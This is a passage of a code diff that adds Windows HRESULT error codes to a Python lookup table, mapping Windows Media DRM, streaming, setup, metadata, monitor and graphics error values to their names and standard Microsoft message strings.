+        0xC00D2757: ("NS_E_DRM_UNABLE_TO_CREATE_HEADER_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D2758: ("NS_E_DRM_UNABLE_TO_CREATE_KEYS_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D2759: ("NS_E_DRM_LICENSE_NOTACQUIRED", "Unable to obtain license."),
+        0xC00D275A: ("NS_E_DRM_UNABLE_TO_CREATE_CODING_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D275B: ("NS_E_DRM_UNABLE_TO_CREATE_STATE_DATA_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D275C: ("NS_E_DRM_BUFFER_TOO_SMALL", "The buffer supplied is not sufficient."),
+        0xC00D275D: ("NS_E_DRM_UNSUPPORTED_PROPERTY", "The property requested is not supported."),
+        0xC00D275E: ("NS_E_DRM_ERROR_BAD_NET_RESP", "The specified server cannot perform the requested operation."),
+        0xC00D275F: ("NS_E_DRM_STORE_NOTALLSTORED", "Some of the licenses could not be stored."),
+        0xC00D2760: ("NS_E_DRM_SECURITY_COMPONENT_SIGNATURE_INVALID", "The Digital Rights Management security upgrade component could not be validated. Contact Microsoft product support."),
+        0xC00D2761: ("NS_E_DRM_INVALID_DATA", "Invalid or corrupt data was encountered."),
+        0xC00D2762: ("NS_E_DRM_POLICY_DISABLE_ONLINE", "The Windows Media Digital Rights Management system cannot perform the requested action because your computer or network administrator has enabled the group policy Prevent Windows Media DRM Internet Access. For assistance, contact your administrator."),
+        0xC00D2763: ("NS_E_DRM_UNABLE_TO_CREATE_AUTHENTICATION_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D2764: ("NS_E_DRM_NOT_CONFIGURED", "Not all of the necessary properties for DRM have been set."),
+        0xC00D2765: ("NS_E_DRM_DEVICE_ACTIVATION_CANCELED", "The portable device does not have the security required to copy protected files to it. To obtain the additional security, try to copy the file to your portable device again. When a message appears, click OK."),
+        0xC00D2766: ("NS_E_BACKUP_RESTORE_TOO_MANY_RESETS", "Too many resets in Backup-Restore."),
+        0xC00D2767: ("NS_E_DRM_DEBUGGING_NOT_ALLOWED", "Running this process under a debugger while using DRM content is not allowed."),
+        0xC00D2768: ("NS_E_DRM_OPERATION_CANCELED", "The user canceled the DRM operation."),
+        0xC00D2769: ("NS_E_DRM_RESTRICTIONS_NOT_RETRIEVED", "The license you are using has associated output restrictions. This license is unusable until these restrictions are queried."),
+        0xC00D276A: ("NS_E_DRM_UNABLE_TO_CREATE_PLAYLIST_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D276B: ("NS_E_DRM_UNABLE_TO_CREATE_PLAYLIST_BURN_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D276C: ("NS_E_DRM_UNABLE_TO_CREATE_DEVICE_REGISTRATION_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D276D: ("NS_E_DRM_UNABLE_TO_CREATE_METERING_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D2770: ("NS_E_DRM_TRACK_EXCEEDED_PLAYLIST_RESTICTION", "The specified track has exceeded it's specified playlist burn limit in this playlist."),
+        0xC00D2771: ("NS_E_DRM_TRACK_EXCEEDED_TRACKBURN_RESTRICTION", "The specified track has exceeded it's track burn limit."),
+        0xC00D2772: ("NS_E_DRM_UNABLE_TO_GET_DEVICE_CERT", "A problem has occurred in obtaining the device's certificate. Contact Microsoft product support."),
+        0xC00D2773: ("NS_E_DRM_UNABLE_TO_GET_SECURE_CLOCK", "A problem has occurred in obtaining the device's secure clock. Contact Microsoft product support."),
+        0xC00D2774: ("NS_E_DRM_UNABLE_TO_SET_SECURE_CLOCK", "A problem has occurred in setting the device's secure clock. Contact Microsoft product support."),
+        0xC00D2775: ("NS_E_DRM_UNABLE_TO_GET_SECURE_CLOCK_FROM_SERVER", "A problem has occurred in obtaining the secure clock from server. Contact Microsoft product support."),
+        0xC00D2776: ("NS_E_DRM_POLICY_METERING_DISABLED", "This content requires the metering policy to be enabled."),
+        0xC00D2777: ("NS_E_DRM_TRANSFER_CHAINED_LICENSES_UNSUPPORTED", "Transfer of chained licenses unsupported."),
+        0xC00D2778: ("NS_E_DRM_SDK_VERSIONMISMATCH", "The Digital Rights Management component is not installed properly. Reinstall the Player."),
+        0xC00D2779: ("NS_E_DRM_LIC_NEEDS_DEVICE_CLOCK_SET", "The file could not be transferred because the device clock is not set."),
+        0xC00D277A: ("NS_E_LICENSE_HEADER_MISSING_URL", "The content header is missing an acquisition URL."),
+        0xC00D277B: ("NS_E_DEVICE_NOT_WMDRM_DEVICE", "The current attached device does not support WMDRM."),
+        0xC00D277C: ("NS_E_DRM_INVALID_APPCERT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D277D: ("NS_E_DRM_PROTOCOL_FORCEFUL_TERMINATION_ON_PETITION", "The client application has been forcefully terminated during a DRM petition."),
+        0xC00D277E: ("NS_E_DRM_PROTOCOL_FORCEFUL_TERMINATION_ON_CHALLENGE", "The client application has been forcefully terminated during a DRM challenge."),
+        0xC00D277F: ("NS_E_DRM_CHECKPOINT_FAILED", "Secure storage protection error. Restore your licenses from a previous backup and try again."),
+        0xC00D2780: ("NS_E_DRM_BB_UNABLE_TO_INITIALIZE", "A problem has occurred in the Digital Rights Management root of trust. Contact Microsoft product support."),
+        0xC00D2781: ("NS_E_DRM_UNABLE_TO_LOAD_HARDWARE_ID", "A problem has occurred in retrieving the Digital Rights Management machine identification. Contact Microsoft product support."),
+        0xC00D2782: ("NS_E_DRM_UNABLE_TO_OPEN_DATA_STORE", "A problem has occurred in opening the Digital Rights Management data storage file. Contact Microsoft product."),
+        0xC00D2783: ("NS_E_DRM_DATASTORE_CORRUPT", "The Digital Rights Management data storage is not functioning properly. Contact Microsoft product support."),
+        0xC00D2784: ("NS_E_DRM_UNABLE_TO_CREATE_INMEMORYSTORE_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D2785: ("NS_E_DRM_STUBLIB_REQUIRED", "A secured library is required to access the requested functionality."),
+        0xC00D2786: ("NS_E_DRM_UNABLE_TO_CREATE_CERTIFICATE_OBJECT", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D2787: ("NS_E_DRM_MIGRATION_TARGET_NOT_ONLINE", "A problem has occurred in the Digital Rights Management component during license migration. Contact Microsoft product support."),
+        0xC00D2788: ("NS_E_DRM_INVALID_MIGRATION_IMAGE", "A problem has occurred in the Digital Rights Management component during license migration. Contact Microsoft product support."),
+        0xC00D2789: ("NS_E_DRM_MIGRATION_TARGET_STATES_CORRUPTED", "A problem has occurred in the Digital Rights Management component during license migration. Contact Microsoft product support."),
+        0xC00D278A: ("NS_E_DRM_MIGRATION_IMPORTER_NOT_AVAILABLE", "A problem has occurred in the Digital Rights Management component during license migration. Contact Microsoft product support."),
+        0xC00D278B: ("NS_DRM_E_MIGRATION_UPGRADE_WITH_DIFF_SID", "A problem has occurred in the Digital Rights Management component during license migration. Contact Microsoft product support."),
+        0xC00D278C: ("NS_DRM_E_MIGRATION_SOURCE_MACHINE_IN_USE", "The Digital Rights Management component is in use during license migration. Contact Microsoft product support."),
+        0xC00D278D: ("NS_DRM_E_MIGRATION_TARGET_MACHINE_LESS_THAN_LH", "Licenses are being migrated to a machine running XP or downlevel OS. This operation can only be performed on Windows Vista or a later OS. Contact Microsoft product support."),
+        0xC00D278E: ("NS_DRM_E_MIGRATION_IMAGE_ALREADY_EXISTS", "Migration Image already exists. Contact Microsoft product support."),
+        0xC00D278F: ("NS_E_DRM_HARDWAREID_MISMATCH", "The requested action cannot be performed because a hardware configuration change has been detected by the Windows Media Digital Rights Management (DRM) components on your computer."),
+        0xC00D2790: ("NS_E_INVALID_DRMV2CLT_STUBLIB", "The wrong stublib has been linked to an application or DLL using drmv2clt.dll."),
+        0xC00D2791: ("NS_E_DRM_MIGRATION_INVALID_LEGACYV2_DATA", "The legacy V2 data being imported is invalid."),
+        0xC00D2792: ("NS_E_DRM_MIGRATION_LICENSE_ALREADY_EXISTS", "The license being imported already exists."),
+        0xC00D2793: ("NS_E_DRM_MIGRATION_INVALID_LEGACYV2_SST_PASSWORD", "The password of the Legacy V2 SST entry being imported is incorrect."),
+        0xC00D2794: ("NS_E_DRM_MIGRATION_NOT_SUPPORTED", "Migration is not supported by the plugin."),
+        0xC00D2795: ("NS_E_DRM_UNABLE_TO_CREATE_MIGRATION_IMPORTER_OBJECT", "A migration importer cannot be created for this media file. Reinstall the application."),
+        0xC00D2796: ("NS_E_DRM_CHECKPOINT_MISMATCH", "The requested action cannot be performed because a problem occurred with the Windows Media Digital Rights Management (DRM) components on your computer."),
+        0xC00D2797: ("NS_E_DRM_CHECKPOINT_CORRUPT", "The requested action cannot be performed because a problem occurred with the Windows Media Digital Rights Management (DRM) components on your computer."),
+        0xC00D2798: ("NS_E_REG_FLUSH_FAILURE", "The requested action cannot be performed because a problem occurred with the Windows Media Digital Rights Management (DRM) components on your computer."),
+        0xC00D2799: ("NS_E_HDS_KEY_MISMATCH", "The requested action cannot be performed because a problem occurred with the Windows Media Digital Rights Management (DRM) components on your computer."),
+        0xC00D279A: ("NS_E_DRM_MIGRATION_OPERATION_CANCELLED", "Migration was canceled by the user."),
+        0xC00D279B: ("NS_E_DRM_MIGRATION_OBJECT_IN_USE", "Migration object is already in use and cannot be called until the current operation completes."),
+        0xC00D279C: ("NS_E_DRM_MALFORMED_CONTENT_HEADER", "The content header does not comply with DRM requirements and cannot be used."),
+        0xC00D27D8: ("NS_E_DRM_LICENSE_EXPIRED", "The license for this file has expired and is no longer valid. Contact your content provider for further assistance."),
+        0xC00D27D9: ("NS_E_DRM_LICENSE_NOTENABLED", "The license for this file is not valid yet, but will be at a future date."),
+        0xC00D27DA: ("NS_E_DRM_LICENSE_APPSECLOW", "The license for this file requires a higher level of security than the player you are currently using has. Try using a different player or download a newer version of your current player."),
+        0xC00D27DB: ("NS_E_DRM_STORE_NEEDINDI", "The license cannot be stored as it requires security upgrade of Digital Rights Management component."),
+        0xC00D27DC: ("NS_E_DRM_STORE_NOTALLOWED", "Your machine does not meet the requirements for storing the license."),
+        0xC00D27DD: ("NS_E_DRM_LICENSE_APP_NOTALLOWED", "The license for this file requires an upgraded version of your player or a different player."),
+        0xC00D27DF: ("NS_E_DRM_LICENSE_CERT_EXPIRED", "The license server's certificate expired. Make sure your system clock is set correctly. Contact your content provider for further assistance."),
+        0xC00D27E0: ("NS_E_DRM_LICENSE_SECLOW", "The license for this file requires a higher level of security than the player you are currently using has. Try using a different player or download a newer version of your current player."),
+        0xC00D27E1: ("NS_E_DRM_LICENSE_CONTENT_REVOKED", "The content owner for the license you just acquired is no longer supporting their content. Contact the content owner for a newer version of the content."),
+        0xC00D27E2: ("NS_E_DRM_DEVICE_NOT_REGISTERED", "The content owner for the license you just acquired requires your device to register to the current machine."),
+        0xC00D280A: ("NS_E_DRM_LICENSE_NOSAP", "The license for this file requires a feature that is not supported in your current player or operating system. You can try with newer version of your current player or contact your content provider for further assistance."),
+        0xC00D280B: ("NS_E_DRM_LICENSE_NOSVP", "The license for this file requires a feature that is not supported in your current player or operating system. You can try with newer version of your current player or contact your content provider for further assistance."),
+        0xC00D280C: ("NS_E_DRM_LICENSE_NOWDM", "The license for this file requires Windows Driver Model (WDM) audio drivers. Contact your sound card manufacturer for further assistance."),
+        0xC00D280D: ("NS_E_DRM_LICENSE_NOTRUSTEDCODEC", "The license for this file requires a higher level of security than the player you are currently using has. Try using a different player or download a newer version of your current player."),
+        0xC00D280E: ("NS_E_DRM_SOURCEID_NOT_SUPPORTED", "The license for this file is not supported by your current player. You can try with newer version of your current player or contact your content provider for further assistance."),
+        0xC00D283D: ("NS_E_DRM_NEEDS_UPGRADE_TEMPFILE", "An updated version of your media player is required to play the selected content."),
+        0xC00D283E: ("NS_E_DRM_NEED_UPGRADE_PD", "A new version of the Digital Rights Management component is required. Contact product support for this application to get the latest version."),
+        0xC00D283F: ("NS_E_DRM_SIGNATURE_FAILURE", "Failed to either create or verify the content header."),
+        0xC00D2840: ("NS_E_DRM_LICENSE_SERVER_INFO_MISSING", "Could not read the necessary information from the system registry."),
+        0xC00D2841: ("NS_E_DRM_BUSY", "The DRM subsystem is currently locked by another application or user. Try again later."),
+        0xC00D2842: ("NS_E_DRM_PD_TOO_MANY_DEVICES", "There are too many target devices registered on the portable media."),
+        0xC00D2843: ("NS_E_DRM_INDIV_FRAUD", "The security upgrade cannot be completed because the allowed number of daily upgrades has been exceeded. Try again tomorrow."),
+        0xC00D2844: ("NS_E_DRM_INDIV_NO_CABS", "The security upgrade cannot be completed because the server is unable to perform the operation. Try again later."),
+        0xC00D2845: ("NS_E_DRM_INDIV_SERVICE_UNAVAILABLE", "The security upgrade cannot be performed because the server is not available. Try again later."),
+        0xC00D2846: ("NS_E_DRM_RESTORE_SERVICE_UNAVAILABLE", "Windows Media Player cannot restore your licenses because the server is not available. Try again later."),
+        0xC00D2847: ("NS_E_DRM_CLIENT_CODE_EXPIRED", "Windows Media Player cannot play the protected file. Verify that your computer's date is set correctly. If it is correct, on the Help menu, click Check for Player Updates to install the latest version of the Player."),
+        0xC00D2848: ("NS_E_DRM_NO_UPLINK_LICENSE", "The chained license cannot be created because the referenced uplink license does not exist."),
+        0xC00D2849: ("NS_E_DRM_INVALID_KID", "The specified KID is invalid."),
+        0xC00D284A: ("NS_E_DRM_LICENSE_INITIALIZATION_ERROR", "License initialization did not work. Contact Microsoft product support."),
+        0xC00D284C: ("NS_E_DRM_CHAIN_TOO_LONG", "The uplink license of a chained license cannot itself be a chained license."),
+        0xC00D284D: ("NS_E_DRM_UNSUPPORTED_ALGORITHM", "The specified encryption algorithm is unsupported."),
+        0xC00D284E: ("NS_E_DRM_LICENSE_DELETION_ERROR", "License deletion did not work. Contact Microsoft product support."),
+        0xC00D28A0: ("NS_E_DRM_INVALID_CERTIFICATE", "The client's certificate is corrupted or the signature cannot be verified."),
+        0xC00D28A1: ("NS_E_DRM_CERTIFICATE_REVOKED", "The client's certificate has been revoked."),
+        0xC00D28A2: ("NS_E_DRM_LICENSE_UNAVAILABLE", "There is no license available for the requested action."),
+        0xC00D28A3: ("NS_E_DRM_DEVICE_LIMIT_REACHED", "The maximum number of devices in use has been reached. Unable to open additional devices."),
+        0xC00D28A4: ("NS_E_DRM_UNABLE_TO_VERIFY_PROXIMITY", "The proximity detection procedure could not confirm that the receiver is near the transmitter in the network."),
+        0xC00D28A5: ("NS_E_DRM_MUST_REGISTER", "The client must be registered before executing the intended operation."),
+        0xC00D28A6: ("NS_E_DRM_MUST_APPROVE", "The client must be approved before executing the intended operation."),
+        0xC00D28A7: ("NS_E_DRM_MUST_REVALIDATE", "The client must be revalidated before executing the intended operation."),
+        0xC00D28A8: ("NS_E_DRM_INVALID_PROXIMITY_RESPONSE", "The response to the proximity detection challenge is invalid."),
+        0xC00D28A9: ("NS_E_DRM_INVALID_SESSION", "The requested session is invalid."),
+        0xC00D28AA: ("NS_E_DRM_DEVICE_NOT_OPEN", "The device must be opened before it can be used to receive content."),
+        0xC00D28AB: ("NS_E_DRM_DEVICE_ALREADY_REGISTERED", "Device registration failed because the device is already registered."),
+        0xC00D28AC: ("NS_E_DRM_UNSUPPORTED_PROTOCOL_VERSION", "Unsupported WMDRM-ND protocol version."),
+        0xC00D28AD: ("NS_E_DRM_UNSUPPORTED_ACTION", "The requested action is not supported."),
+        0xC00D28AE: ("NS_E_DRM_CERTIFICATE_SECURITY_LEVEL_INADEQUATE", "The certificate does not have an adequate security level for the requested action."),
+        0xC00D28AF: ("NS_E_DRM_UNABLE_TO_OPEN_PORT", "Unable to open the specified port for receiving Proximity messages."),
+        0xC00D28B0: ("NS_E_DRM_BAD_REQUEST", "The message format is invalid."),
+        0xC00D28B1: ("NS_E_DRM_INVALID_CRL", "The Certificate Revocation List is invalid or corrupted."),
+        0xC00D28B2: ("NS_E_DRM_ATTRIBUTE_TOO_LONG", "The length of the attribute name or value is too long."),
+        0xC00D28B3: ("NS_E_DRM_EXPIRED_LICENSEBLOB", "The license blob passed in the cardea request is expired."),
+        0xC00D28B4: ("NS_E_DRM_INVALID_LICENSEBLOB", "The license blob passed in the cardea request is invalid. Contact Microsoft product support."),
+        0xC00D28B5: ("NS_E_DRM_INCLUSION_LIST_REQUIRED", "The requested operation cannot be performed because the license does not contain an inclusion list."),
+        0xC00D28B6: ("NS_E_DRM_DRMV2CLT_REVOKED", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D28B7: ("NS_E_DRM_RIV_TOO_SMALL", "A problem has occurred in the Digital Rights Management component. Contact Microsoft product support."),
+        0xC00D2904: ("NS_E_OUTPUT_PROTECTION_LEVEL_UNSUPPORTED", "Windows Media Player does not support the level of output protection required by the content."),
+        0xC00D2905: ("NS_E_COMPRESSED_DIGITAL_VIDEO_PROTECTION_LEVEL_UNSUPPORTED", "Windows Media Player does not support the level of protection required for compressed digital video."),
+        0xC00D2906: ("NS_E_UNCOMPRESSED_DIGITAL_VIDEO_PROTECTION_LEVEL_UNSUPPORTED", "Windows Media Player does not support the level of protection required for uncompressed digital video."),
+        0xC00D2907: ("NS_E_ANALOG_VIDEO_PROTECTION_LEVEL_UNSUPPORTED", "Windows Media Player does not support the level of protection required for analog video."),
+        0xC00D2908: ("NS_E_COMPRESSED_DIGITAL_AUDIO_PROTECTION_LEVEL_UNSUPPORTED", "Windows Media Player does not support the level of protection required for compressed digital audio."),
+        0xC00D2909: ("NS_E_UNCOMPRESSED_DIGITAL_AUDIO_PROTECTION_LEVEL_UNSUPPORTED", "Windows Media Player does not support the level of protection required for uncompressed digital audio."),
+        0xC00D290A: ("NS_E_OUTPUT_PROTECTION_SCHEME_UNSUPPORTED", "Windows Media Player does not support the scheme of output protection required by the content."),
+        0xC00D2AFA: ("NS_E_REBOOT_RECOMMENDED", "Installation was not successful and some file cleanup is not complete. For best results, restart your computer."),
+        0xC00D2AFB: ("NS_E_REBOOT_REQUIRED", "Installation was not successful. To continue, you must restart your computer."),
+        0xC00D2AFC: ("NS_E_SETUP_INCOMPLETE", "Installation was not successful."),
+        0xC00D2AFD: ("NS_E_SETUP_DRM_MIGRATION_FAILED", "Setup cannot migrate the Windows Media Digital Rights Management (DRM) components."),
+        0xC00D2AFE: ("NS_E_SETUP_IGNORABLE_FAILURE", "Some skin or playlist components cannot be installed."),
+        0xC00D2AFF: ("NS_E_SETUP_DRM_MIGRATION_FAILED_AND_IGNORABLE_FAILURE", "Setup cannot migrate the Windows Media Digital Rights Management (DRM) components. In addition, some skin or playlist components cannot be installed."),
+        0xC00D2B00: ("NS_E_SETUP_BLOCKED", "Installation is blocked because your computer does not meet one or more of the setup requirements."),
+        0xC00D2EE0: ("NS_E_UNKNOWN_PROTOCOL", "The specified protocol is not supported."),
+        0xC00D2EE1: ("NS_E_REDIRECT_TO_PROXY", "The client is redirected to a proxy server."),
+        0xC00D2EE2: ("NS_E_INTERNAL_SERVER_ERROR", "The server encountered an unexpected condition which prevented it from fulfilling the request."),
+        0xC00D2EE3: ("NS_E_BAD_REQUEST", "The request could not be understood by the server."),
+        0xC00D2EE4: ("NS_E_ERROR_FROM_PROXY", "The proxy experienced an error while attempting to contact the media server."),
+        0xC00D2EE5: ("NS_E_PROXY_TIMEOUT", "The proxy did not receive a timely response while attempting to contact the media server."),
+        0xC00D2EE6: ("NS_E_SERVER_UNAVAILABLE", "The server is currently unable to handle the request due to a temporary overloading or maintenance of the server."),
+        0xC00D2EE7: ("NS_E_REFUSED_BY_SERVER", "The server is refusing to fulfill the requested operation."),
+        0xC00D2EE8: ("NS_E_INCOMPATIBLE_SERVER", "The server is not a compatible streaming media server."),
+        0xC00D2EE9: ("NS_E_MULTICAST_DISABLED", "The content cannot be streamed because the Multicast protocol has been disabled."),
+        0xC00D2EEA: ("NS_E_INVALID_REDIRECT", "The server redirected the player to an invalid location."),
+        0xC00D2EEB: ("NS_E_ALL_PROTOCOLS_DISABLED", "The content cannot be streamed because all protocols have been disabled."),
+        0xC00D2EEC: ("NS_E_MSBD_NO_LONGER_SUPPORTED", "The MSBD protocol is no longer supported. Please use HTTP to connect to the Windows Media stream."),
+        0xC00D2EED: ("NS_E_PROXY_NOT_FOUND", "The proxy server could not be located. Please check your proxy server configuration."),
+        0xC00D2EEE: ("NS_E_CANNOT_CONNECT_TO_PROXY", "Unable to establish a connection to the proxy server. Please check your proxy server configuration."),
+        0xC00D2EEF: ("NS_E_SERVER_DNS_TIMEOUT", "Unable to locate the media server. The operation timed out."),
+        0xC00D2EF0: ("NS_E_PROXY_DNS_TIMEOUT", "Unable to locate the proxy server. The operation timed out."),
+        0xC00D2EF1: ("NS_E_CLOSED_ON_SUSPEND", "Media closed because Windows was shut down."),
+        0xC00D2EF2: ("NS_E_CANNOT_READ_PLAYLIST_FROM_MEDIASERVER", "Unable to read the contents of a playlist file from a media server."),
+        0xC00D2EF3: ("NS_E_SESSION_NOT_FOUND", "Session not found."),
+        0xC00D2EF4: ("NS_E_REQUIRE_STREAMING_CLIENT", "Content requires a streaming media client."),
+        0xC00D2EF5: ("NS_E_PLAYLIST_ENTRY_HAS_CHANGED", "A command applies to a previous playlist entry."),
+        0xC00D2EF6: ("NS_E_PROXY_ACCESSDENIED", "The proxy server is denying access. The username and/or password might be incorrect."),
+        0xC00D2EF7: ("NS_E_PROXY_SOURCE_ACCESSDENIED", "The proxy could not provide valid authentication credentials to the media server."),
+        0xC00D2EF8: ("NS_E_NETWORK_SINK_WRITE", "The network sink failed to write data to the network."),
+        0xC00D2EF9: ("NS_E_FIREWALL", "Packets are not being received from the server. The packets might be blocked by a filtering device, such as a network firewall."),
+        0xC00D2EFA: ("NS_E_MMS_NOT_SUPPORTED", "The MMS protocol is not supported. Please use HTTP or RTSP to connect to the Windows Media stream."),
+        0xC00D2EFB: ("NS_E_SERVER_ACCESSDENIED", "The Windows Media server is denying access. The username and/or password might be incorrect."),
+        0xC00D2EFC: ("NS_E_RESOURCE_GONE", "The Publishing Point or file on the Windows Media Server is no longer available."),
+        0xC00D2EFD: ("NS_E_NO_EXISTING_PACKETIZER", "There is no existing packetizer plugin for a stream."),
+        0xC00D2EFE: ("NS_E_BAD_SYNTAX_IN_SERVER_RESPONSE", "The response from the media server could not be understood. This might be caused by an incompatible proxy server or media server."),
+        0xC00D2F00: ("NS_E_RESET_SOCKET_CONNECTION", "The Windows Media Server reset the network connection."),
+        0xC00D2F02: ("NS_E_TOO_MANY_HOPS", "The request could not reach the media server (too many hops)."),
+        0xC00D2F05: ("NS_E_TOO_MUCH_DATA_FROM_SERVER", "The server is sending too much data. The connection has been terminated."),
+        0xC00D2F06: ("NS_E_CONNECT_TIMEOUT", "It was not possible to establish a connection to the media server in a timely manner. The media server may be down for maintenance, or it may be necessary to use a proxy server to access this media server."),
+        0xC00D2F07: ("NS_E_PROXY_CONNECT_TIMEOUT", "It was not possible to establish a connection to the proxy server in a timely manner. Please check your proxy server configuration."),
+        0xC00D2F08: ("NS_E_SESSION_INVALID", "Session not found."),
+        0xC00D2F0A: ("NS_E_PACKETSINK_UNKNOWN_FEC_STREAM", "Unknown packet sink stream."),
+        0xC00D2F0B: ("NS_E_PUSH_CANNOTCONNECT", "Unable to establish a connection to the server. Ensure Windows Media Services is started and the HTTP Server control protocol is properly enabled."),
+        0xC00D2F0C: ("NS_E_INCOMPATIBLE_PUSH_SERVER", "The Server service that received the HTTP push request is not a compatible version of Windows Media Services (WMS). This error may indicate the push request was received by IIS instead of WMS. Ensure WMS is started and has the HTTP Server control protocol properly enabled and try again."),
+        0xC00D32C8: ("NS_E_END_OF_PLAYLIST", "The playlist has reached its end."),
+        0xC00D32C9: ("NS_E_USE_FILE_SOURCE", "Use file source."),
+        0xC00D32CA: ("NS_E_PROPERTY_NOT_FOUND", "The property was not found."),
+        0xC00D32CC: ("NS_E_PROPERTY_READ_ONLY", "The property is read only."),
+        0xC00D32CD: ("NS_E_TABLE_KEY_NOT_FOUND", "The table key was not found."),
+        0xC00D32CF: ("NS_E_INVALID_QUERY_OPERATOR", "Invalid query operator."),
+        0xC00D32D0: ("NS_E_INVALID_QUERY_PROPERTY", "Invalid query property."),
+        0xC00D32D2: ("NS_E_PROPERTY_NOT_SUPPORTED", "The property is not supported."),
+        0xC00D32D4: ("NS_E_SCHEMA_CLASSIFY_FAILURE", "Schema classification failure."),
+        0xC00D32D5: ("NS_E_METADATA_FORMAT_NOT_SUPPORTED", "The metadata format is not supported."),
+        0xC00D32D6: ("NS_E_METADATA_NO_EDITING_CAPABILITY", "Cannot edit the metadata."),
+        0xC00D32D7: ("NS_E_METADATA_CANNOT_SET_LOCALE", "Cannot set the locale id."),
+        0xC00D32D8: ("NS_E_METADATA_LANGUAGE_NOT_SUPORTED", "The language is not supported in the format."),
+        0xC00D32D9: ("NS_E_METADATA_NO_RFC1766_NAME_FOR_LOCALE", "There is no RFC1766 name translation for the supplied locale id."),
+        0xC00D32DA: ("NS_E_METADATA_NOT_AVAILABLE", "The metadata (or metadata item) is not available."),
+        0xC00D32DB: ("NS_E_METADATA_CACHE_DATA_NOT_AVAILABLE", "The cached metadata (or metadata item) is not available."),
+        0xC00D32DC: ("NS_E_METADATA_INVALID_DOCUMENT_TYPE", "The metadata document is invalid."),
+        0xC00D32DD: ("NS_E_METADATA_IDENTIFIER_NOT_AVAILABLE", "The metadata content identifier is not available."),
+        0xC00D32DE: ("NS_E_METADATA_CANNOT_RETRIEVE_FROM_OFFLINE_CACHE", "Cannot retrieve metadata from the offline metadata cache."),
+        0xC0261003: ("ERROR_MONITOR_INVALID_DESCRIPTOR_CHECKSUM", "Checksum of the obtained monitor descriptor is invalid."),
+        0xC0261004: ("ERROR_MONITOR_INVALID_STANDARD_TIMING_BLOCK", "Monitor descriptor contains an invalid standard timing block."),
+        0xC0261005: ("ERROR_MONITOR_WMI_DATABLOCK_REGISTRATION_FAILED", "Windows Management Instrumentation (WMI) data block registration failed for one of the MSMonitorClass WMI subclasses."),
+        0xC0261006: ("ERROR_MONITOR_INVALID_SERIAL_NUMBER_MONDSC_BLOCK", "Provided monitor descriptor block is either corrupted or does not contain the monitor's detailed serial number."),
+        0xC0261007: ("ERROR_MONITOR_INVALID_USER_FRIENDLY_MONDSC_BLOCK", "Provided monitor descriptor block is either corrupted or does not contain the monitor's user-friendly name."),
+        0xC0261008: ("ERROR_MONITOR_NO_MORE_DESCRIPTOR_DATA", "There is no monitor descriptor data at the specified (offset, size) region."),
+        0xC0261009: ("ERROR_MONITOR_INVALID_DETAILED_TIMING_BLOCK", "Monitor descriptor contains an invalid detailed timing block."),
+        0xC0262000: ("ERROR_GRAPHICS_NOT_EXCLUSIVE_MODE_OWNER", "Exclusive mode ownership is needed to create unmanaged primary allocation."),
+        0xC0262001: ("ERROR_GRAPHICS_INSUFFICIENT_DMA_BUFFER", "The driver needs more direct memory access (DMA) buffer space to complete the requested operation."),
+        0xC0262002: ("ERROR_GRAPHICS_INVALID_DISPLAY_ADAPTER", "Specified display adapter handle is invalid."),
+        0xC0262003: ("ERROR_GRAPHICS_ADAPTER_WAS_RESET", "Specified display adapter and all of its state has been reset."),
+        0xC0262004: ("ERROR_GRAPHICS_INVALID_DRIVER_MODEL", "The driver stack does not match the expected driver model."),
+        0xC0262005: ("ERROR_GRAPHICS_PRESENT_MODE_CHANGED", "Present happened but ended up into the changed desktop mode."),
+        0xC0262006: ("ERROR_GRAPHICS_PRESENT_OCCLUDED", "Nothing to present due to desktop occlusion."),
+        0xC0262007: ("ERROR_GRAPHICS_PRESENT_DENIED", "Not able to present due to denial of desktop access."),
+        0xC0262008: ("ERROR_GRAPHICS_CANNOTCOLORCONVERT", "Not able to present with color conversion."),
+        0xC0262100: ("ERROR_GRAPHICS_NO_VIDEO_MEMORY", "Not enough video memory available to complete the operation."),
+        0xC0262101: ("ERROR_GRAPHICS_CANT_LOCK_MEMORY", "Could not probe and lock the underlying memory of an allocation."),
+        0xC0262102: ("ERROR_GRAPHICS_ALLOCATION_BUSY", "The allocation is currently busy."),
+        0xC0262103: ("ERROR_GRAPHICS_TOO_MANY_REFERENCES", "An object being referenced has reach the maximum reference count already and cannot be referenced further."),
+        0xC0262104: ("ERROR_GRAPHICS_TRY_AGAIN_LATER", "A problem could not be solved due to some currently existing condition. The problem should be tried again later."),
+        0xC0262105: ("ERROR_GRAPHICS_TRY_AGAIN_NOW", "A problem could not be solved due to some currently existing condition. The problem should be tried again immediately."),
+        0xC0262106: ("ERROR_GRAPHICS_ALLOCATION_INVALID", "The allocation is invalid."),
+        0xC0262107: ("ERROR_GRAPHICS_UNSWIZZLING_APERTURE_UNAVAILABLE", "No more unswizzling apertures are currently available."),
+        0xC0262108: ("ERROR_GRAPHICS_UNSWIZZLING_APERTURE_UNSUPPORTED", "The current allocation cannot be unswizzled by an aperture."),
+        0xC0262109: ("ERROR_GRAPHICS_CANT_EVICT_PINNED_ALLOCATION", "The request failed because a pinned allocation cannot be evicted."),
+        0xC0262110: ("ERROR_GRAPHICS_INVALID_ALLOCATION_USAGE", "The allocation cannot be used from its current segment location for the specified operation."),
+        0xC0262111: ("ERROR_GRAPHICS_CANT_RENDER_LOCKED_ALLOCATION", "A locked allocation cannot be used in the current command buffer."),
+        0xC0262112: ("ERROR_GRAPHICS_ALLOCATION_CLOSED", "The allocation being referenced has been closed permanently."),
